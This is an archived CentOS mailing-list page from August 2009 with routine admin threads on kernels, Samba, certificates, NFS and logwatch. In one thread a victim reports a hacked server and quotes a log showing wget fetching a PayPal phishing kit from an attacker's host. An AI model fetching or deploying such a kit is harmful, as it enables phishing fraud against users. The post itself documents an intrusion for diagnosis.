1241 Hamilton, Ontario fax: +1 905 561 0757 Canada L8E 3C3

3 2

System freezes completely under kernel 2.6.18-128.7.1.el5
by Olaf Mueller 25 Aug '09

25 Aug '09

Hello, is there a known problem with the new kernel for CentOS 5.3? Till today, my server works without any problems. But after updating to the new kernel 2.6.18-128.7.1.el5 the system freezes completely with no more access by keyboard or over network. The last message in /var/log/messages is 'Aug 25 14:07:41 weidenwinde kernel: hdg: dma_timer_expiry: dma status == 0x21'. I have not change my hardware, have not change configuration and till this new kernel the system was running without any problems. The harddisks are younger than a year. Is someone else this seeing? regards Olaf

2 4

self signing certificates
by Jerry Geis 25 Aug '09

25 Aug '09

hi all, I have gone through the process of self signing certificates. Aside from the pop-ups about not trusted etc... everything appears to work. For "internal" applications what do people/places do? It would be nice to be seamless and have the "your not trusted" window pop-up. Yet this is not a public web site either. Just internal use. The server might be on the internet but people from the internet are not using it. I presume there is no way to by-pass the certificate signing process - even for internal apps. Is there? Thanks, Jerry

7 9

Re: [CentOS] Samba "use sendfile" configuration option set do disabled as default - why?
by Per Qvindesland 25 Aug '09

25 Aug '09

Hi I am not saying that this is the solution but I am saying that it might be worth a short, even if it works for you I would still fine tune it depending on your configs, a lot of the time fine tuning samba is a pain and most of the time it actually comes down to crappy network performance I.E the nic seems to be working but it actually has a fault. Regards Per Qvindesland --- Original message follows --- SUBJECT: Re: [CentOS] Samba "use sendfile" configuration option set do disabled as default - why? FROM: Christoph Maser TO: "CentOS mailing list" DATE: 24-08-2009 13:27 Am Montag, den 24.08.2009, 13:24 +0200 schrieb Per Qvindesland: > socket options = TCP_NODELAY IPTOS_LOWDELAY SO_RCVBUF=65536 > SO_SNDBUF=65536 These options are often found if you search for samba tuning. Did someone actaully benchmark the results? Shouldn't tuning buffers manuall be oboslete nowadays? I somewhat doubt this is THE solution for slow sambas. Chris financial.com AG Munich head office/Hauptsitz München: Maria-Probst-Str. 19 | 80939 München | Germany Frankfurt branch office/Niederlassung Frankfurt: Messeturm | Friedrich-Ebert-Anlage 49 | 60327 Frankfurt | Germany Management board/Vorstand: Dr. Steffen Boehnert (CEO/Vorsitzender) | Dr. Alexis Eisenhofer | Dr. Yann Samson | Matthias Wiederwach Supervisory board/Aufsichtsrat: Dr. Dr. Ernst zur Linden (chairman/Vorsitzender) Register court/Handelsregister: Munich – HRB 128 972 | Sales tax ID number/St.Nr.: DE205 370 553 _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos

6 8

Access to xorg-x11-server-1.1.1-48.53.el5 (or later) SRPM ?
by James Pearson 25 Aug '09

25 Aug '09

Does anyone have access to the xorg-x11-server-1.1.1-48.53.el5 (or later) SRPM - which may be part of 5.4 beta? It's mentioned as having a fix for Bugzilla #448586 <https://bugzilla.redhat.com/show_bug.cgi?id=448586> I what to see if it fixes a X11 crash we're having. Thanks James Pearson

2 5

Re: [CentOS] self signing certificates
by Les Bell 25 Aug '09

25 Aug '09

Keith Keller <kkeller(a)speakeasy.net> wrote: >> If you're going to go through that much trouble << Although I didn't quote the entire process here (copyright, time, etc.) it's only one command, the adding of one line to the Apache httpd.conf, (probably) scp'ing the files onto the server and providing a link on a page somewhere. Oh, and reloading Apache. 5 mins, tops. If you're a slow typist. But I must admit, I've not bothered to do it myself. One of these days. . . Best, --- Les Bell [http://www.lesbell.com.au] Tel: +61 2 9451 1144

1 0

Re: [CentOS] self signing certificates
by Les Bell 25 Aug '09

25 Aug '09

Jerry Geis <geisj(a)pagestation.com> wrote: >> Was just trying to find a way so that users that "dont know" what this box is that is poping up wont even see the box. << Can't you install your own root certificate into the internal client browsers? The book "Network Security Hacks" (Andrew Lockhart, O'Reilly) gives a procedure for doing this (p. 112). You generate a .der file from the cacert.pem file, add a new mime type in the Apache config and then make the pem and der files available on your server. The users can now install the new root cert by just clicking on a link. (Sorry if this has already been covered - I wasn't paying attention to the earlier discussion). Best, --- Les Bell [http://www.lesbell.com.au] Tel: +61 2 9451 1144

2 1

logwatch not mailing
by Ray Leventhal 24 Aug '09

24 Aug '09

Hi, # uname -a Linux obfuscated.example.com 2.6.18-128.4.1.el5 #1 SMP Tue Aug 4 20:23:34 EDT 2009 i686 i686 i386 GNU/Linux I noticed a few days ago that I'm not getting my logwatch emails to the root account any longer, and while I've definitely been applying updates from base, no other changes have happened on this box. I ran logwatch at the command line: logwatch --detail medium --mailto root(a)fqdn.example.com but still no email. As expected, /etc/cron.daily has the following entry: lrwxrwxrwx 1 root root 39 Jul 30 2008 0logwatch -> /usr/share/logwatch/scripts/logwatch.pl Where should I start looking to figure out why logwatch seems not to be doing its thing? Thanks in advance, -Ray

7 10

httpd - mysql - paypal.com.tar - hacker
by Gregory P. Ennis 24 Aug '09

24 Aug '09

Everyone, This morning I received a notice from PayPal that one of our sites got hacked and was spoofing a PayPal web site. When I checked the the site, I was surprised to find they were correct. About 5 days a go we had a server that got hacked and somehow the file paypal.com.tar got uploaded to our server and then stored in a a subdirectory of /var/www/. I had previously started a mysqld server and planned on using it for web authorizations. I had not been able to work on it, but left it in place. I looked like the hacker downloaded his paypal spoof files into a subdirectory of /var/www/phpmyadmin. I am running 5.3 with all current updates. I do not have telnet or ftp active on this server, and have password authentication of sshd turned off. I have tried to obtain dialog with PayPal about this but they have not responded to my queries. If any of you have had some experience with this I would be interested in knowing how this may have happened. I have shutdown the mysqld server as well as removed access in httpd.conf of the /var/www/phpmyadmin directory in order to shutdown the spoofing site. If any of you have a leg up on this I would appreciate your help. Greg Ennis P.S. I found the following entry in my error_log of /var/log/httpd/ : [Sun Aug 16 04:26:19 2009] [info] Server built: Jul 14 2009 06:02:39 --00:21:14-- http://code.go.ro/paypal.com.tar Resolving code.go.ro... 81.196.20.134 Connecting to code.go.ro|81.196.20.134|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 645120 (630K) [application/x-tar] Saving to: `paypal.com.tar' 0K .......... .......... .......... .......... .......... 7% 70.0K 8s 50K .......... .......... .......... .......... .......... 15% 265K 5s 100K .......... .......... .......... .......... .......... 23% 284K 3s 150K .......... .......... .......... .......... .......... 31% 1.81M 2s 200K .......... .......... .......... .......... .......... 39% 1.79M 2s 250K .......... .......... .......... .......... .......... 47% 323K 1s 300K .......... .......... .......... .......... .......... 55% 1.80M 1s 350K .......... .......... .......... .......... .......... 63% 1.76M 1s 400K .......... .......... .......... .......... .......... 71% 431K 1s 450K .......... .......... .......... .......... .......... 79% 1.77M 0s 500K .......... .......... .......... .......... .......... 87% 1.75M 0s 550K .......... .......... .......... .......... .......... 95% 1.82M 0s 600K .......... .......... .......... 100% 1.87M=1.6s 00:21:16 (405 KB/s) - `paypal.com.tar' saved [645120/645120] sh: line 0: cd: pma: Not a directory gzip: stdin: not in gzip format tar: Child returned status 1 tar: Error exit delayed from previous errors

10 24

virt-manager crashes Host during installation of guest
by Bernhard Gschaider 24 Aug '09

24 Aug '09

Hi! I have the following problem: I have a server (CentOS 5.3 x86_64) on which I want to install a virtual Xen-machine (CentOS 5.3 x86_64), I ssh from my workstation (Centos 5.3 x86_64 .... do you see the pattern ;) ) to that server and start the virt-manager. I create a new Guest (Paravirtualiuzed) and point it to the server with the installation files (CentOS 5.3, but I already said that). The manager creates the disk image an then opens the Graphical console for installation. Sometime around the point where the installation program wants me to select the keyboard the graphical console it freezes. The server is completely dead (no console, no disk activity, no ping, only a reset will "repair" it) My question: am I doing something stupid? But I figured "They're all the same system, this must work" I don't want to play around with it too much as the server is also our file-server and people start complaining. So any hint will be greatly appreciated (otherwise I'll have to setup another machine for the guests) Bernhard -- --------------------------------------------------------------------------- DI Bernhard F.W. Gschaider --------------------------------------------------------------------------- EMail: Bernhard.Gschaider(a)ice-sf.at WWW : www.ice-sf.at Jabber : bgschaid(a)jabber.org Tel: +43(3842)98282-42 Fax: +43(3842)98282-02 ---------------------------------------------------------------------------

8 20

CentOS-announce Digest, Vol 54, Issue 10
by centos-announce-request＠centos.org 24 Aug '09

24 Aug '09

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit http://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CESA-2009:1223 Important CentOS 4 x86_64 kernel Update (Johnny Hughes) 2. CESA-2009:1223 Important CentOS 4 i386 kernel Update (Johnny Hughes) ---------------------------------------------------------------------- Message: 1 Date: Mon, 24 Aug 2009 10:30:11 -0500 From: Johnny Hughes <johnny(a)centos.org> Subject: [CentOS-announce] CESA-2009:1223 Important CentOS 4 x86_64 kernel Update To: CentOS-Announce <centos-announce(a)centos.org> Message-ID: <4A92B203.1080509(a)centos.org> Content-Type: text/plain; charset="iso-8859-1" CentOS Errata and Security Advisory 2009:1223 https://rhn.redhat.com/errata/RHSA-2009-1223.html The following updated files have been uploaded and are currently syncing to the mirrors: x86_64: kernel-2.6.9-89.0.9.EL.x86_64.rpm kernel-devel-2.6.9-89.0.9.EL.x86_64.rpm kernel-doc-2.6.9-89.0.9.EL.noarch.rpm kernel-largesmp-2.6.9-89.0.9.EL.x86_64.rpm kernel-largesmp-devel-2.6.9-89.0.9.EL.x86_64.rpm kernel-smp-2.6.9-89.0.9.EL.x86_64.rpm kernel-smp-devel-2.6.9-89.0.9.EL.x86_64.rpm kernel-xenU-2.6.9-89.0.9.EL.x86_64.rpm kernel-xenU-devel-2.6.9-89.0.9.EL.x86_64.rpm src: kernel-2.6.9-89.0.9.EL.src.rpm

1 0

pulse audio for CentOS 5
by Kanwar Ranbir Sandhu 24 Aug '09

24 Aug '09

Hi All, Does anyone know of a repo packaging a recent pulse audio release as RPMs for CentOS 5? Regards, Ranbir -- Kanwar Ranbir Sandhu Linux 2.6.27.29-170.2.78.fc10.x86_64 x86_64 GNU/Linux 11:26:10 up 8 days, 12:22, 5 users, load average: 1.09, 0.35, 0.18

1 0

Firewall and nfs mounts
by Anne Wilson 24 Aug '09

24 Aug '09

Which ports need to be open on a nfs mount server? And does the client need anything opening? I tried setting 2049 udp and tcp, using system-config-securitylevel, but it doesn't seem to save the settings. First, am I trying the correct ports? Second, what am I missing in making the changes stick? Anne -- New to KDE4? - get help from http://userbase.kde.org Just found a cool new feature? Add it to UserBase

3 3

Re: [CentOS] Samba "use sendfile" configuration option set do disabled as default - why?
by Per Qvindesland 24 Aug '09

24 Aug '09

Hi Have you tried this one socket options = TCP_NODELAY IPTOS_LOWDELAY SO_RCVBUF=65536 SO_SNDBUF=65536 Also look at the log level reduce it to level to or lower. Per --- Original message follows --- SUBJECT: [CentOS] Samba "use sendfile" configuration option set do disabled as default - why? FROM: happymaster23 TO: "CentOS mailing list" DATE: 24-08-2009 12:47 Hello, I had problems with speed of Samba, so I was looking for some solution and I had discovered "use sendfile" configuration option. I was checking all Samba release notes and I had discovered, that from some version (older than is in CentOS repo) this option was turned on as default. So my question is, why in CentOS 5.3 is that option in default set to off? Thank you for responses Martin Šťastný _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos

2 1

Samba "use sendfile" configuration option set do disabled as default - why?
by happymaster23 24 Aug '09

24 Aug '09

Hello, I had problems with speed of Samba, so I was looking for some solution and I had discovered "use sendfile" configuration option. I was checking all Samba release notes and I had discovered, that from some version (older than is in CentOS repo) this option was turned on as default. So my question is, why in CentOS 5.3 is that option in default set to off? Thank you for responses Martin Šťastný

1 0

Need Java plugin for Firefox in CentOS 5.3
by Robert Nichols 24 Aug '09

24 Aug '09

Somewhere during the course of recent updates I've lost the Java plugin for Firefox. Not sure when it happened, but I know Java was working in Firefox earlier this year. Firefox comes up empty when searching for a suitable plugin. I'm running a fully updated CentOS 5.3 with the following packages installed: firefox-3.0.12-1.el5.centos.i386.rpm java-1.4.2-gcj-compat-1.4.2.0-40jpp.115.i386.rpm java-1.6.0-openjdk-1.6.0.0-1.2.b09.el5.i386.rpm Any ideas what I'm missing? The Java plugin is not something I use often, but when I need it, I need it. Do I need to dump openjdk and get Java directly from Sun? It looks like libjavaplugin_oji.so went away when Sun Java got replaced by the openjdk version. -- Bob Nichols "NOSPAM" is really part of my email address. Do NOT delete it.

2 2

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

Discuss